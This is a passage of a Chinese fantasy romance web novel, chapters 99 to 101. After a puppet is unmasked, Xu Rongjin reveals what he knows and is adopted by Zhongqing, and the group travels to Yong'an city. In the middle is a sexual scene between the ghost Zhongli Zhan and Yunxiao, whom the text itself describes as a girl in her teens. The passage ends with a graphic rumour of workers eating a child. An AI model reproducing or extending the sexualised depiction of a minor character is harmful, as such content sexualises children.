而他费尽心机才能炼成的五只神鬼蛊,悉数散在风中。 谁能有这个本事?!普天之下,从古至今,他知道的也就只有那一个人能做到这一点!杀死神鬼蛊,甚至……杀死神明。 漆黑的眼还在看向火光之中,仿佛痴狂地盯着那抹小巧的纤瘦的橙红色身影,是云绡啊,原来是云绡啊!在若川他看见她的那一眼,他就认出了少女是他曾见过的特别的小公主。 云绡的身体里有一道剑意——斩魂剑的剑意。 所以他对她才格外关注,教她自保的反咒。 可在亲眼看见云绡杀了谢尧钰之后,他的脑海中闪过了一个疯狂的,却又可行的念头。 不拘泥于男女!只要能让曦帝复活,便是云绡的身体,也可用! 古怪的嗬嗬声从黑袍人的喉咙里发出,像是锯木头一样沙哑的笑声,他看见了山下云绡突然抬头,隔着遥远的距离看向他。 他该走了! 不过是眨眼之间,远在高山之下的云绡突然消失。 又一眨眼,少女的双眼维持着方才抬眸朝他看来的冰冷骤然放大,杀气凌人,近在咫尺。 第99章 嗬声骤停,黑衣人暴露出眼中满是恐惧和震惊。 一只纤瘦的手猝不及防抓住了他的斗篷,用力扯下。 黑袍碎裂,露出半张皱巴巴的焦黑的脸,下一瞬神秘人的身体便化作了灰烟,连带着黑袍也成了钟离湛指尖的细沙。 傀儡自毁了。 而他只来得及看见半张脸,连头发都没有的,焦枯的灰黑色的脸,像是被大火烧过的老鼠皮,完全辨别不出对方原来的模样。 钟离湛从小塔飞身而下,魂魄离开了云绡的身体。 “他是谁?”云绡问钟离湛。 就在方才,她的身体被钟离湛使用时,云绡有那么一瞬能够感受到被盯上了的恶心感觉。 她以为钟离湛看见了对方。 钟离湛的眉头紧蹙着:“傀儡为分裂而出的本体的模样,所以不可能是他将傀儡的五官扭曲了,只有可能他的本体也如我方才所见的那般狰狞。和徐容靳的那半张脸有些相似,但比徐容靳的脸更加严重,唯一知晓的便是,那也是我的火符所伤。” 云绡闻言有些震惊:“这是否代表,傀儡看不见你,但他的本体能看见你?” 钟离湛嗯了声,云绡看着脚下消失的砂砾,心中恶寒。 “我见过那双眼,只是他的眼也被烧过,所以我一时无法想起来究竟是在何时见过。”钟离湛道:“离开渡仙城后,还是尽快去东洲吧。” 长生殿内被药倒的野猪不知被谁都杀死了,一天过去腥臭的味道熏得人几乎发昏,云绡在这儿待不住,拉着钟离湛就要走。 陇山下火光滔天,若从下山路上过去,必须得越过渡仙城的火海才能离开,云绡没费那个功夫,脚下踩着御风符,迎着灼热的风朝渡仙城外飞去。 - 渡仙城外,仲卿和徐容靳守着城门的位置,被火势逼得节节后退,两双眼睛直勾勾地盯着出口的方向,生怕错过云绡的身影。 仲卿一开始疏散人群的时候并没发现徐容靳的变化,但当城中百姓都有序离开之后,仲卿和徐容靳多说了两句话,也察觉出他似乎不那么傻了。 城中火势太大,热气熏天,鸟雀已经不能在上空飞了。 那几只被徐容靳派出去的乌鸦回来只说了一句,未曾在渡仙城中看见云绡,徐容靳的心就像是被压了一块石头似的,连呼吸都变得沉闷了起来。 深夜里,除了大火燃烧的声音,周围的一切都很安静。 仲卿朝徐容靳看去好几眼,最终没忍住问:“你是不是都想起来了?” 徐容靳脸色有些苍白,他抿了抿嘴,好半晌才发出一声嗯。 仲卿又问:“那你现在打算如何?” 徐容靳也不知道。 他想起了很多事,从他的父亲被妾室蛊惑,纵容那个女人用药毒死他的母亲开始,后来发生的一切他都记得清清楚楚。 他想起来他们兄弟三人失去母亲,本来抱团取暖,可后来徐容朝被祖父选中,离开了徐家,随祖父养在深山。而他和大哥留在了那深墙后院中,承受那个恶毒的女人折磨。 徐容棋最开始是替自己的弟弟开心的,因为至少徐容朝可以避开被打骂苛责,他毕竟年龄太小了,受不住恶毒女人的折腾。 可也正是因为他年龄太小了,所以他的心中没有仇恨,他不知道自己的母亲是怎么死的。在那个男人因为徐容朝是下一任长老而讨好徐容朝,对他格外亲厚的时候,徐容朝拥有了徐容棋和徐容靳从未拥有的父爱,即便那是虚假的父爱。 徐容朝在山间随兽群奔跑,徐容棋和许容靳还得用身躯护住自己的受宠免遭惩罚。 徐容朝在古殿展示学有所成受人夸赞时,徐容靳病到久热不退,徐容棋则跪了一整夜磕得头破血流为他求药。 后来有一天徐容棋和徐容靳看见了徐容朝,他露出明朗的笑容,身后跟着野狼群,骑在高马上笑着挥手喊“大哥,二哥”。 那一天,就连阳光都格外厚爱他,在他身上镀上了一层浅金色的光。他翻身下马,冲过来抱住了徐容棋,说好想他们。 当时徐容靳躲在徐容棋的身后,藏住了自己脚下一双已经磨破了底的不合脚的旧鞋。 那天之后,徐容靳知道,他和徐容朝早就不是一个世界的人了。 他的世界里只有大哥,和他相依为命的也只有大哥,除了大哥,谁都不重要。 他想起了一切,想起了大哥是如何和那个黑衣人达成交易的,他知道大哥心中有恨,大哥永远都记得母亲的死,他一个人背负了所有的痛苦,将徐容靳牢牢护在他伤痕累累的羽翼之下。 徐容靳亲眼看见徐容棋的变化,一个尾人,没有斩断尾巴,却也学会了满口谎言,口蜜腹剑。 白骨终有一日暴露,徐容棋知道自己没有活路了,便想死前拉仇人一起,可到最后那场大火里真正死去的也只有他自己。 这些对徐容靳而言宛如噩梦的过去,如果可以,他希望自己永远也不要想起来。 可他还是想起来了,他也同样记得这几个月痴痴傻傻的自己跟在仲卿和云绡身后的日子。纵然经历过生死擦肩,可这一路弥补了他从未有过的被偏爱的童年。 身边有冷着脸,可很有安全感的强大的父亲。 有了会逗他玩儿,做饭也很好吃的娘亲。 还有体贴他,照顾他的大哥。 徐容靳到底不是傻子,回想起这几个月自己做过的蠢事之后 他有片刻尴尬,可也心生惶恐。他知道他最初跟着云绡和徐容靳,是他厚着脸皮贴上来的,后来他能跟在他们身边,也是因为他或有几分利用价值。 如今装不了傻,有些事终要面对。 徐容靳无法喊云绡为娘,也无法叫仲卿大哥,他也变不回那个无忧无虑的傻子了。 仲卿问他接下来有何打算,他只觉得满心迷惘,好像普天之下山河辽阔,却没有一处能叫他容身了。 仲卿突然道:“哎!回来了,回来了!” 徐容靳抬头看去,便见到少女几乎是踏着火光冲出渡仙城,她脚下的符被热气燎着,晃晃悠悠像是要站不稳的样子。 徐容靳本能地朝云绡张开双臂,他什么也没想,脑海中只有一个念头就是不能让她摔了。 钟离湛的手指在云绡的腰上轻轻点了一下,帮她稳住的身形,却没减少她从高空摔下来的冲力,直到少女被高大的鬼面男人扶住双臂,借力转了半圈站稳。 徐容靳确定云绡站稳了之后才收回了自己扶着对方胳膊的手,云绡理了理衣裳,只顾低头看自己被火烧了一截的裙子,头也没抬道:“还好有你。” 徐容靳朝她的头顶看去。 他傻的时候,觉得云绡很厉害,很高大,如今清醒了才清晰地认知到,一路照顾他的是个才只到他肩膀高的十多岁的少女。 那句“还好有你”自然而然地脱口而出,就好像什么也没改变,叫徐容靳的鼻尖微酸,当了几个月的傻子,情绪似乎也被放大,眼泪轻易夺眶而出。 徐容靳撇过头,所以他没看见云绡抬眸朝钟离湛看去一眼时,脸上露出的狡黠笑容。 钟离湛也对她挑眉,二人默契,仿佛无声在说:此子可留。 云绡不是真的站不稳,她的御风符也没那么脆弱,她在高空更容易看见徐容靳和仲卿,所以她想试探一下徐容靳。 如果他在意她,那云绡不介意继续当他的娘亲。 如果他不在意她,那离开了渡仙城后大家各奔东西。 云绡配合着仲卿在渡仙城周围设阵,叫那大火不至于蔓延到城外,沿着风害了其他地方。 熊熊烈火在渡仙城内燃烧了三天三夜,第四天才有熄灭的趋势,直到第七日,才没有火苗升烟。 一切罪恶,化成灰烬。 云绡还在渡仙城外找了几块石头,在石头上刻下符文,凡是有活物靠近那石头便会传来孩童哭声,足够吓退居心不良之人。 曾经神医救世的渡仙城,在短时间内变成了曦族、湖族乃至旖族都谈之色变的鬼城,后又有传说那魑魅魍魉封于五脏山川,长生不死皆是祸患。 李大牛离开渡仙城后抱着瘦骨嶙峋的金宝回到了旖族的小镇,他来去走了足足大半个月,回到镇子里时一场雨作别深秋,起了冬风。 老妪坐在院角抹泪地烧了一些孩童的玩具,老汉择菜,愁容满面。 杨翠怀中抱着一双虎头鞋,木讷地看向小镇街道前的一株银杏,她记得金宝最喜欢在那颗树下捡叶子回来戴在她的头上了。 如今一场雨银杏叶落了满地,光秃秃的枝桠上仅剩几片黄,在风中摇曳不止。 “娘~” 一声呼唤,叫杨翠回神,她顺着声音朝街头望去。 李大牛背着瘦弱的金宝就站在银杏树下,父子俩的脸上扬着笑。 杨翠愣怔,虎头鞋从怀中滚落。消瘦的妇人扑向了她丈夫的怀抱,裙摆扬起一地金黄的银杏叶,她含泪亲吻丈夫背上孩子的脸颊。 - 东洲位于曦族西南方向,如今属于湖族,便成了湖族的东南一角,要去东洲,还得越往曦族深处走。 没有战争和硝烟侵蚀过的土地淋过雨后的气息都是芬芳的,树翠林茂,碧水青天,就算是入了冬,曦族的山林道路上也仍能看见一些不屈盛放的小花。 云绡、仲卿、徐容靳和钟离湛,围着火堆各坐一方。 仲卿看不见钟离湛,但徐容靳能看见,他傻的时候敢对钟离湛大放厥词,将他当爹对待。如今脑子好了,他根本不敢往钟离湛那边靠,一想到这气势骇人的魂是两千余年的杀神,他就腿软。 咕咕和啾啾倒是没有它们的主人那么有眼色,吃着落在地上的树果儿没一会儿就凑到了钟离湛的身边。 徐容靳好几次瞥咕咕和啾啾,想要它们回来,动了动嘴,没敢开口。 仲卿盯着火堆旁的几条烤鱼和一只烤兔,冬日里起了一背后的冷汗。 太尴尬了! 他快受不了了! 云绡也尴尬,但云绡能装,她就想看看到底谁先开口。 没想到最先打破沉静的是钟离湛,他左手掌心撑着下巴,右手烦躁地在膝上敲,敲了好一会儿终于停了下来,忍无可忍:“说话!” 徐容靳就像是被人捅了腰,立刻直起身子道:“我知道的不多!那个人一直是和大哥联系的,但大哥也让兽宠调查跟踪了他很久。我只知道一些人的名字,他们是炼神鬼蛊的关键,听大哥说,那些人都是传说中的五帝血脉,越靠近正统,神鬼蛊就越容易成功。” “大哥很厉害,若川的人都以为大哥只能驯犬,其实不是的,大哥可以和虫沟通。”徐容靳道:“大哥帮那个人炼鬼蛊,但在鬼蛊成为蛊之前也是蛊虫,大哥知道的那些人的名字都是从蛊虫那里得来的,他说这些都要留给我作为日后傍身保命的底牌。” “那个人是曦族人,因为他大部分的时间都在曦族生活,但除了曦族之外,他去过最多的地方是湖族。他会曦族的符咒,会湖族的阵,我在渡仙城中发现他也会兽语,所以……他可能拥有五族所有的力量。”徐容靳说到这儿,小心翼翼抬眸看了一眼钟离湛的衣角。 徐容靳顿了顿,又想起来什么道:“大哥在世时,他和大哥交易的期间去过东洲十三次!” “我知道的就这些了。” 徐容靳说完,双手平放在膝上像个被罚后乖巧的孩童。 第100章 徐容靳将他所有可被利用的所知道的都说出来了,包括那串刻在他脑海中的名字,其中还有两个是湖族的长老。 仲卿见徐容靳即便脑子好了,可还是一副蠢样子,心想也不知是该说徐容棋是个好兄长还是个不好的兄长。 徐容棋在尔虞我诈的徐家深宅里保护了徐容靳,给弟弟留了保命的底牌,又在最后生死关头用性命护着弟弟离开。可正因为他将徐容靳保护得太好了,养成了徐容靳遇事不决,过于天真的性子。 尾人本就单纯,又久居深山不谙世事,眼下他把所有知道的都抖落个干净,仲卿都有些无奈。 难怪徐容棋要割掉徐容靳的尾巴,否则外人看见他那条尾巴,不得把他骗了还得倒给钱啊。 不过从另一个角度去看,这也说明徐容靳即便恢复了记忆,也仍然相信他们。 仲卿干笑了两声打哈哈道:“哎呀,这鱼是不是能吃了?我饿了半天。” 云绡、徐容靳和仲卿都相处这么长时间了,如何不知这是台阶,也就顺势走下来,一人拿一条烤鱼先填肚子再说。 徐容靳本来是想去握烤小鱼的竹竿的,滚烫的火焰从他的手腕处燎过,就慢了这么一瞬,眼前只剩下那条最大的鱼。 云绡和仲卿自主地将最大那条烤鱼留给了徐容靳,徐容靳握着竹竿的手紧了紧,沉默着吃鱼,吃着吃着,咸咸的眼泪掉在鱼上,大高个在半夜里发出了呜呜的哭声。 徐容靳极力忍着了,可也许是孩子心性太久,使得他未能及时控制情绪,呜呜了两声之后又安静地把鱼吃完。声音止住了,眼泪没止住。 于他而言,徐容棋在他的记忆里离开并不久,上一瞬才从大火中捡回一条命,下一瞬想起徐容棋已然是几个月后。 可徐容靳也切切 实实记得这几个月发生的事,如大梦一场,他失去了一切之后再醒来发现,原来这世上还有人会对他就像大哥对他那么好。 仲卿看不得徐容靳哭,他无妻无子,这些天几乎将徐容靳当自己的孩子对待,一路哄着过来的,现在看徐容靳哭,仲卿心里也不是滋味。 于是徐容靳那边才停了声音,仲卿这边开始吸鼻子。 云绡:“……” 有必要吗?感情真的这么充沛? 从一个人哭变成两个人抹泪后,云绡就显得格格不入。 她把烤鱼吃完了便没继续吃,将那只原本打算她和徐容靳一起分的烤兔子也给了徐容靳,云绡找了个理由离开火堆旁,将那里留给一老一少俩哭包好好平复心情。 云绡才走,仲卿就往徐容靳那边挪了挪。 他叹息道:“若川那边估计是徐容朝掌权,不论如何,徐容棋害了那么多尾人是实情,你又是知情不报,属于包庇,那地方你是回不去了。” 纵使徐容靳没杀人,可他看见徐容棋杀过,他没有阻止,也就等同于帮凶。 仲卿不是纯善之人,自然知道徐容靳当初就算死在大火里也不无辜,可人是有感情的,偏心亲近者是本能,他不能昧着良心说徐容靳无错,也不会把他送到若川去受罚。 徐容靳面对云绡尴尬,因为云绡比他小那么多,可面对仲卿徐容靳更容易袒露自己的内心,他本心是不想回去若川的,若有一天回去,大约就是给徐容棋立衣冠冢的时候。 只是徐家被烧,而他和徐容棋从始至终在徐家都是过客,也不知能不能找到一样属于他的东西了。 “我跟着云绡,那是要干大事的!”仲卿虽年近七十,可仍然热血沸腾,他打算在自己有生之年尽力在云绡身边发光发热,自然不会畏惧生死。 说给徐容靳听,也是想让他自己考虑,是找个安全的地方隐姓埋名,还是跟他们一起。 徐容靳听明白仲卿的话,他把烤兔子吃完了,才终于问了一句:“你们还、还要我吗?” 他已经没有利用价值了,他还值得被留下吗? 仲卿拍了拍徐容靳的脑袋:“要啊!你要是愿意,你拜我当义父!若日后我死在你前头,你就给我办后事如何?” 徐容靳抿嘴:“你这个年纪,很难不死在我前头。” 仲卿:“……” 仙师挽尊:“那不一定,你这个脑子,未必能有我活得久。” 徐容靳仔细想了想,又笑道:“那也是!” 仲卿:“……” 这是真傻啊。 傻大个徐容靳又问了:“那我认你当义父,我那个、那个、那另一个爹怎么办?” 徐容靳问这话的时候眼神四扫,生怕被钟离湛听见。 仲卿道:“你都想起一切了,自然也不能傻兮兮地还将云绡当成你娘,云绡既然不是你娘,那位自然也不是你爹。” 徐容靳又不是真傻,他只是有些失落,有爹有娘有大哥的日子真的很开心,他都想永远傻下去。 索性仲卿脑子也不正常:“她虽然不合适当你娘,但可以当你姐啊!” 徐容靳扯了扯嘴角:“我比她大九岁……” 仲卿道:“那你喊她姐,喊那位姐夫,是不是好过你喊她妹,喊那位妹夫?你现在脑子清醒了,胆子也变大啦?” 徐容靳:“……” 徐容靳不敢喊姐夫也不敢喊妹夫,他现在连爹都不敢喊。 云绡走也没走,她背靠着一株槐树,听那本来应当抱头痛哭可结果没哭成,反而嘀嘀咕咕商量究竟应该给云绡在他们这个小家庭里按个什么身份更合适的二人越扯越离谱,没忍住嘴角上扬,心情轻松了很多。 许是傻人有傻福,徐容靳并未真的因为恢复记忆而变得沉闷痛苦。 他回想起了母亲早死父亲不疼继母伤害的一切仇恨,但仇恨并没有让他变成另一个人,这或许就是徐容棋最想看到的结果。 他仍然是他,傻乎乎的开心快乐就好了。 - 溪水卷走岸边柔韧又脆弱的小花,数朵粉蓝色指甲盖大小的花顺着流水而下,小溪潺潺,水中倒映着月光粼粼,静谧美好。 往曦族深处走来,云绡所见的一切都比其他几族的地界要更干净。 呼吸间的风是清新的,饮下去的水也是甘甜的,在曦族生活的族人很用心地维护着这片土地,两千余年都未曾经人破坏。 冬季的夜里很冷,云绡半靠在钟离湛的怀中,后脑贴着他的肩膀,手里捧着个果子在啃。 一条小鱼,她也吃不饱。 不过徐容靳和仲卿那边气氛刚好,二人才打算结父子呢,云绡今夜就不打算去打扰他们了。 他们也最好不要来打扰她! 云绡永远记得有一次她和钟离湛在溪边钓鱼,才亲一口就被徐容靳撞见,所以这一次云绡吸取教训,离他们远远的! 远到哪怕遇见危险,也得用同生符呼救的地步! 嗯,云绡带着钟离湛假借采果子之名,早就和那俩人不是一个山头了。 手里的果子吃完,云绡觉得没那么饿了,这才抱着钟离湛的手臂往他怀里再缩了缩。 钟离湛问她:“你想当他姐姐,还是想当他妹妹?” 方才仲卿和徐容靳的话钟离湛当然也听到了,他觉得幼稚,也有些好笑,但不算排斥。 人生难得糊涂,都是这世间无依无靠的人,凑在一起糊涂过下去也不错。 云绡道:“我有哥哥姐姐也有弟弟妹妹,相处得都不愉快,所以我才不要当他姐姐或是妹妹呢,我这辈子,就只认了一个好哥哥。” 钟离湛刚想问是谁,便福至心灵了,他忍了忍没压住嘴角,恰是笑起来的时候,云绡抬起头朝他弯了弯眼,声音放轻问他:“还是说……你想要我喊别人哥哥?” 她就像小猫儿似的,说的话也如同猫爪在钟离湛的心口上挠一挠。 钟离湛挑眉,诚实地面对自己设想云绡喊徐容靳哥哥时他内心翻涌的巨大不满,把云绡抱紧了点儿道:“不许喊别人哥哥。” “那你想当徐容靳的妹夫?”云绡又笑呵呵地看着他。 她离钟离湛很近,近到只要一抬头就能亲到他的下巴,钟离湛垂眸看见云绡眼底倒映的月光时,反问了一句:“当爹不也挺好?” “是挺好的……哥哥,我明白你说的话是什么意思了。”云绡朝钟离湛的下巴蹭过去,温热的含着果香味的气息已经扑到了钟离湛的呼吸间。 她说:“我的心在今夜是满的,热乎乎的,尤其是听见他们俩说的那番话之后……我也拥有家人和朋友了,对不对?是真的家人,真的朋友!” 钟离湛的手抚摸着她的发丝,又听见云绡道:“这种有人惦记的感觉真好,而且我还想明白了,若以后有机会,我可以拥有更多的朋友,也不必害怕会失去他们……因为我有你啊!我永远都不会是孤独。” 这些她从未体会过的感受,都是在认识了钟离湛,学会如何对待感情之后。 云绡的心跳得很快,她情至胸腔,无处发泄,突然就半跪起身双手勾住钟离湛的脖子,昂起头在他唇角落下一吻,又一吻。 两片柔软的唇啄吻着彼此,气息逐渐紊乱。 钟离湛的手不知不觉就掐在了云绡的腰上,繁复的衣裳于他们而言毫无阻拦,云绡半跪在钟离湛的面前,声音哼似的从唇隙中挤出来。 “好多好多天都没亲了,哥哥。” 钟离湛的呼吸加重,听见云绡的撒娇,忍不住将人抱得紧了些。 手指不受控地抚摸着云绡的脊背,另一只手顺着她的脊骨一节节去触碰,直至尾骨处顿了顿,悄然而下。 一声轻呼,云绡跌坐在钟离湛的怀中。 从她高过钟离湛,低头去吻,变成了她偎在他的臂弯处,昂首承受。 钟离湛是魂魄一缕,无需进食,可他仍有五感,他能嗅到山林风中的浅香,也能尝到云绡唇齿间的果香,吻去她唇角的果汁,吞咽甘霖。 结印在大树根下蔓延,将这里形成了一个外界无法侵扰的屏障,阻隔一切声响。 云 绡的意识沉沦,双眸迷蒙,恍惚间她又听见了潺潺的水声。 待到清明时,水声也停了。 视野从夜空中的繁星归于眼前面红耳赤之人身上,钟离湛那双狐狸眼中满是情/欲,他呼出的气都是滚烫的。 从始至终,他的目光都落在云绡的身上。 这一刻,他好似有些明白云绡的想法了,也体会到了她之前为何喜欢撩拨他的快乐。 能近在咫尺地看见云绡那双灵动的眼愈发迷离,殷红顺着肌肤沁出,体温攀升,吐出的气息和声音都随着他而颤动。 任何一点细微的变化,都叫人心生愉悦。 云绡的心跳尚未平复,极为依赖地抱着钟离湛的胳膊道:“亲亲我。” 钟离湛低头吻了一下她。 云绡咬唇:“再亲,再亲亲。” 钟离湛低声笑了笑,他附身与云绡交换呼吸,直到她开始退怯了,钟离湛才抚摸着她的脸,哑着声音问:“喜欢我亲你?” “喜欢,每天都要亲。”云绡十分诚实地面对自己对欲/望的感受,在钟离湛跟前,她就是最真实的她。 怎么可能不喜欢呢? 太快乐了啊! 云绡缓过来了,翻身跪坐在钟离湛的双膝之间,垂下头道:“你也试试!” 钟离湛:“!” 眼看着那双不安分的手就要探过来,钟离湛差点儿跳起来,他抓住云绡的手腕道:“不必,不必了。” “我很聪明的,哥哥,我学会了!”云绡低下头道:“你不想试试手,那我用嘴唔——” 钟离湛直接将人用力地抱在怀里,用怀抱彻底堵住云绡的豪言壮语。 云绡的脸被钟离湛按在他的胸膛上,嗯……也蛮快乐的~ 钟离湛对上她的视线,轻声道:“等我找到破除封印的办法,绡绡,我不急,你也等等我,可好?” 等他真的活过来,等他不会伤害她,他也期待着那一天的到来。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 徐容靳觉得人还是傻一些的好。 他傻的时候觉得爹和娘亲昵些是正常的,钟离湛和云绡不论走得有多近,他看着都欢喜。 可认知正常了之后,他的一只眼睛又能看见钟离湛的魂魄,时不时朝云绡那边瞥过去,而后见到的总是那俩人腻腻歪歪的画面。 这二人走起路来肩并着肩,挨得袖摆之间毫无缝隙,光都透不过来的那种。 若是在一处休息,云绡就跟没了骨头似的靠在钟离湛的怀中,或者倚着他的胳膊,更有时候她直接躺在钟离湛的腿上,一双手还卷着钟离湛的发丝玩儿。 徐容靳觉得若天上真有月老,那位老人家的红线可能全都用在这俩人身上,恨不得将他们缠成了蚕蛹。 他们彼此相视一眼的目光都是黏糊的,叫徐容靳一不小心看见便是说不出的尴尬。 云绡是没人告诉过她,不知有旁人在的时候即便心里再喜欢也当和心爱之人保持些许礼数和分寸。 钟离湛则是无所谓,在他眼里徐容靳是不是蠢的其实不太重要,而且他也没对云绡动手动脚,即便偶尔牵一下手,捏一下脸的,那也没人敢置喙他。 徐容靳已经不知道被钟离湛凉凉的眼神瞥了几回,就愈发地往仲卿那边靠拢。 挨着仲卿坐下,小老头低头看了一眼自己臀下不大还要被分占的石块,再看一眼另一边的,问徐容靳:“你喜欢这个方位?” 徐容靳:“……我喜欢挨着义父。” 仲卿朝云绡那边看去一眼,他看不见钟离湛,此刻只能看见云绡歪着头不知在小声说什么,那双眼睛比天上的太阳还要亮,笑盈盈的完全不在乎他们俩干什么。 再看徐容靳,仲卿明白过来了:“哦,你不傻了,年纪也到了,你想要义父给你寻门亲事?” 徐容靳忍不住白了仲卿一眼:“我这辈子都不娶,我效仿义父,老来也收个义子摔盆扶幡。” 仲卿:“……” 云绡也听着仲卿和徐容靳那边的动静呢,见他们二人聊到终身不娶这件事,云绡也忍不住插了句嘴:“对啊,仲卿仙师为何不娶妻?你们做仙师的又没说不许成家。” 仲卿一愣,反问云绡:“娶妻有何好处吗?” 云绡也反问:“你想要何好处?有人陪伴不开心吗?你看你现在一把年纪了,不是也很喜欢小孩儿?” 几双眼睛落在徐容靳身上。 徐容靳:“……” 他吗?九尺六钧的小孩儿? 仲卿不知想到了什么,连忙摇头道:“不不不,还是不娶妻的好,湖族的女人不一般。” 钟离湛闻言,微微挑眉,云绡也福至心灵,哟了一声:“有故事!” 徐容靳接话:“说来听听!” 仲卿瞪大了双眼:“我都快七十了!能有什么故事?老头子的故事你们听了也不怕腻得慌……哎呀,这天色看上去不早了,我们若再不走快些,怕是赶不上城了。” 仲卿虽扯开了话题,但也提醒几人休息的差不多了。 他们几人离开了渡仙城之后一路往曦族深处走,见到的都是山山水水,连半个人影都没看见。 曦族的领地里风景当真不错,山明水秀,可曦族的族人也的确太少了,他们连续走了四、五天,只在山坳处看见了个小村落。村子是古村,房屋十几所,早就人去屋空,梁都腐朽了。 旖族的人也少,那是因为旖族只生男,不生女,加上五族中除了人族,其他几族在子嗣上本就困难些,旖族又无所长,领地融入了太多其他族人。虽旖族本族人少,可旖族领地里的人却很多。 唯有曦族,说它荒凉,山林中的飞禽走兽也有很多,他们还看见了数只悠然吃草的斑鹿与湖边戏水的仙鹤。 说它不荒凉,此地看不见半点炊烟,就像是从没有人来过一样。 也是他们走得足够久了,才在早间的另一座高耸山头处看见山下一小片平原,平原之下城池林立,这才想着要在天黑前赶上城前,不必于冬夜里餐风露宿。 几人到达城门前时天刚傍晚,还未黑透,夕阳的红光洒在古老城墙墙壁攀爬的藤曼上,枯藤夹绿,映霞生花。 云绡看了一眼石雕的城上匾,永安二字苍劲有力。 永安城的守卫不是凌国派遣的士兵,凌国不干涉曦族一切事务,也是因为曦族总是避战,擅长忍让,千年以来一直如此,以至于不论改朝换代几轮,曦族仍然安好。 曦族占地大,大大小小无数座山,领地中横贯一条宽阔的霖江,霖江将曦族分成了两边,江之上有四座城,永安城是其一。 江之下则有十三座城,那里才算是完全没有外族干涉的曦族要地,是曦族长老连带着族人生活的地方。 霖江之上包括永安城在内的其他几座城池里,或多或少会有一些外族人经过,有的是要渡江去湖族,有的则是和曦族做一些符咒交易。 曦族境内往外售卖安神符、辟邪符、祛秽符等,换来的便是绫罗绸缎,珠宝玉石不等。 永安城的守门人看见云绡几个一眼就知不是曦族本族的人来也不奇怪,只是向他们要了文牒。 云绡本打算和之前一样施障眼法,不过仲卿的手更快一步,他取出了自己在湖族本家的木令,那人一看便将仲卿几人放行了。 云绡好奇地打量了仲卿的木令一眼,仲卿哪儿能看不懂她的心思,干脆将木令丢给她道:“给你给你,只要你别仿个假的就行。” 云绡瞥了一眼手中的木令,令上刻了一些阵符,木令中间有个大写的梁字,梁字上涂抹了一些特殊的漆粉,阳光下闪着蓝绿色如同孔雀翎一样的光泽。 将木令还给仲卿,云绡一脸茫然:“没看懂。” 仲卿:“……我本家姓梁,在湖 族也算小有名气。” “我以为你能坐上凌国第一仙师的宝座,你本家怎么也得是湖族有名有姓的大家才对。”云绡好奇:“怎么叫小有名气?” 仲卿叹息:“古来士农工商,梁家排在最末,往上推个几百年,我梁家在湖族就是最低位的存在。实在是后来生意做大,遍布全国,而湖族世家逐渐衰败,为了维持湖族体面,便需要如梁家这样的家族给予支持。” 云绡明白了:“你家拿钱,买了个在湖族不尴不尬的地位。” 不尴不尬这四个字,简直直戳要害。 徐容靳也明白过来:“若川也有这样的人家,不擅驭兽,但擅经商,往外卖兽后换得的钱财有很大一部分交给古殿长老会,用来培养后起之秀,维持尾人族长盛不衰。” 这样的人家,族中古老的氏族肯定看不上,却也不会去得罪。 依仲卿离开湖族几十年,拿出自己本家的木令仍然能随意通行曦族霖江之上的几座城池来看,这些城池中恐怕都有梁家的产业,抑或是与梁家经年合作。 永安城是座古城,城中的房屋都不高,只有偶尔几栋看上去明显是近些年才盖建起来的楼阁有些京都那边的建筑风貌,其他的房屋仍然延续着曦族的风格。 这里的植物长得极好,城中的曦族古屋不论院落大小,门前庭内总有花或树。 院子小的种了攀藤花,凌霄、紫藤、忍冬、茑萝等。 若庭院足够大,便被装下更多缤纷色彩。 云绡住的客栈便是这样,房屋不高,除了门前楼三层之外,入了院子客住的屋子都是两层的。客房四方围绕,南面是攀了藤萝的月洞门,影壁之后三方皆是住屋。 小院内种了两株长势极好的红枫,眼下是冬,红枫似火,在地上铺了厚厚一层红叶,树枝上也仍然是满的。 院子左右还有两口缸,缸中睡莲枯枝浮在水面上,水中还有红白两种颜色的小鱼儿在游水。 云绡没见过这样漂亮的庭院,即便是皇宫内也没有如此精心细致的摆设。 宫中亭台楼阁无数,雕梁画栋极尽奢华,永安城的客栈内没有那么多奢侈摆件,但每一棵树,每一株草都修整得精致,移步一景,叫人流连。 仲卿也已经很久没来过永安城了,他记得上一次来是数十年前,彼时他的母亲夙夜难眠,为求一张安神符,父亲带他渡船来了永安城,花重金带了安神符回去。 如今仲卿年近七十,他爹娘早就不在人世,与他同辈者前两年也走了不少,如今就算回到梁家,恐怕仲卿也认不得什么人了。 永安城正中有条小河,是从霖江引水穿城而过的。 客栈后方倚靠着那条城中河,一楼后方的外围一排廊棚,廊棚下摆着桌椅板凳,可以让人在这里一边欣赏河上桥景,一边吃饭。 眼下天冷,廊棚下吃饭的人不多,恰好有一桌就在云绡所住的客房之下。 云绡本倚在窗边吃包子看夕阳倒影江面的风光,忽而就听见楼下有人提起了近来东洲之事。 东洲要过霖江,占地广,但只有一座城,城为符玉城,钟离氏的家主也曾是符玉城的城主。 符玉城不算大,只能算霖江之下十三城中游,但符玉城外有个月坛,月坛靠近湖族方向,不久前被凌国划分成了湖族的领地。 月坛曾是望月山,之所以叫望月,也是因为此山极高,传闻或可通天。 许是因为这个传说动人,历史上记载,望月山被钟离湛斥奴仆十万挖断山腰,在望月山上重新盖建月坛,月坛如山顶,九千多层阶梯直通云霄,那里是曾经钟离湛想要成神以孩童血肉祭祀的地方。 云绡没见过月坛,钟离湛又不记得自己当初为何盖建月坛,二人对视了一眼,沉默着听楼下的人继续说。 楼下那桌中有个人是旖族的,他家某个表亲被选中去月坛给圣仙像添砖加瓦,说白了就是干体力活的,前不久被家里人抬回来了,回来之后人就疯了。 “湖族要为圣仙建造水生像,据说是因为当年杀神钟离湛在月坛烹煮孩童食之成神,那些孩童的冤魂化作千年鬼火久聚不散,圣仙的水生像是为了以水压火,浇熄冤魂,也是为了东洲和湖族的百姓祈福。” “这话我原本也信,但你们可知我那表兄回来后说了什么?他说他半夜能听见孩童的哭声,还看见和他一同建工的同伴如同行尸走肉一样,数人分食同一个孩子,有人啃脚,有人啃腿,有人抱着孩子脑袋吸眼珠子呢!” 几人惊骇,那人继续道:“他说是这么说,可和他同村去建工的人都说没这回事。湖族的沈长老说了,那地方有孩童冤魂,也有杀神怒气,好些地方都是明令禁去的,是我表兄自己为了省事抄近路踩在了月坛的咒文上,这才沾染了邪祟,出现幻觉。” “那也是你表兄不守规矩在先。”有人如此道。 那人连忙道:“可如他一般疯了被送回来的人越来越多,其中还有人说,瞧见那圣仙像化成了恶鬼!” “简单啊,看见恶鬼的这个肯定也犯了忌讳。” 